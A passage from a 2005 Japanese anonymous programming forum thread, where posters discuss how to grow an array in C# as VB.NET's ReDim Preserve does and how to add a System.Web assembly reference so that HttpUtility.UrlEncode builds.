851 名前:デフォルトの名無しさん mailto:sage [05/03/03 00:10:52 ] >>850 そんなニュース、前にもなかったっけ?
852 名前:デフォルトの名無しさん mailto:sage [05/03/03 02:15:11 ] ウィリアム・ヘンリー・ナイト・ゲイツIII世
853 名前:デフォルトの名無しさん mailto:sage [05/03/04 20:21:06 ] VB.NETでの『ReDim Preserve ・・・』に相当するようなコードは C#ではどのように書くのでしょうか? 配列の内容を保持したまま配列を増やしたいのですが、 今までは新しく配列を用意してコピーしていたのですがスマートにならないものかと。
854 名前:デフォルトの名無しさん mailto:sage [05/03/04 20:28:08 ] >>853 いや、C# でそんな文見たことない おそらく無いんじゃないか?
855 名前:デフォルトの名無しさん mailto:sage [05/03/04 20:45:37 ] ReDimったってどうせ内部でArray.Copy呼んでるだけだしな。 これのせいでループの内部で毎回ReDimするようなアレなコード書く奴もいるし。
856 名前:デフォルトの名無しさん [05/03/04 21:13:37 ] dobon.net/vb/dotnet/internet/webrequestpost.html ここを参考に、googleに用語をpostして結果を得ようとしています。 ところがこのうちの「 System.Web.HttpUtility.UrlEncode」でエラーが出ます (エラーの説明) >型、または名前空間名 'Web' は、 >クラスまたは名前空間 'System' に存在しません。 >アセンブリ参照があるか確認してください。 どうすればSystem.Webのクラスを使えるようになるのか教えて頂けますか。
857 名前:デフォルトの名無しさん mailto:sage [05/03/04 21:15:03 ] >>856 プロジェクトの『参照設定』を右クリック⇒『System.Web』を追加 これでおk
858 名前:デフォルトの名無しさん mailto:sage [05/03/04 21:15:31 ] あ、『参照の追加』が間に入ってましたごめぬ
859 名前:デフォルトの名無しさん mailto:sage [05/03/04 21:16:16 ] System.Web.dllを参照に追加すれ。
860 名前:デフォルトの名無しさん [05/03/04 21:27:51 ] 高速回答ありがとうございました。 ぶじビルドできました。